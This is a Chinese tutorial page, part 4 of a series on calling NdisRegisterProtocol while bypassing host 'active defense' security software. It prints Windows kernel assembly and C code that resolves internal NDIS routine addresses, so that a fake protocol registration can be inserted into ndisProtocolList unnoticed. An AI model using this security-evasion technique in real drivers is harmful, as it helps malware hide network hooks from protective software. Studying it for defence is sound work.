免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > 各类编程 > 绕过主动防御调用NdisRegisterProtocol(4)

绕过主动防御调用NdisRegisterProtocol(4)

时间:2012-01-12 18:50来源:未知 整理:寂涯网络 点击:


取得地址的方法是一样的。代码如下:

__declspec(naked) 
VOID 
GetNdisReEnumerateProtocolBindings(PULONG routine_addr)
{
__asm
 {

push ebp
  mov ebp, esp
  push eax
  push ebx
  call lab_1
  call NdisReEnumerateProtocolBindings
 lab_1: 
  pop ebx
  mov eax, [ebx+1]
  add ebx, 5
  add ebx, eax
  mov eax, [ebx]
  mov ebx, routine_addr
  mov [ebx], eax
  pop ebx
  pop eax
  mov esp, ebp
  pop ebp
  ret 4
 }
}
VOID 
get_check_routine(PULONG check_addr)
{
 ULONG routine_addr;
 ULONG tmp;
 GetNdisReEnumerateProtocolBindings(&routine_addr);
  tmp = *(ULONG*)(routine_addr+0x17);
 *check_addr = tmp + routine_addr+0x16 +0x5; 
  KdPrint(("NdisReg @ DriverEntry : get_check_routine chech_addr is %08x\n",
*check_addr));
}

到这里所有的代码都已经给出了,其中笔者自己实现NdisRegisterProtocol操作的函数
fake_NdisRegisterProtocol,在上文分析NdisRegisterProtocol操作的已经给出了。

可以发现, fake_NdisRegisterProtocol中申请的空间p_protocol地址为0x81941750,
已经插入了ndisProtocolList中。
  本文所以代码在XPSP3+WDK下编译成功,并在XPSP3成功运行。由于本文只是一份示例
代码,功能有限,要做到通用还要读者们进行更改。希望本文起到抛砖引玉的作用,引出更
精彩的思路,提出更通用、简单的方法。NDIS 文档资料缺少,加之并不开源,所以行文之
中纰漏难免,有些东西也没有解释清楚的,希望大家批评指教。

 

 

本页地址 http://www.jybase.net/biancheng/20120112748.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com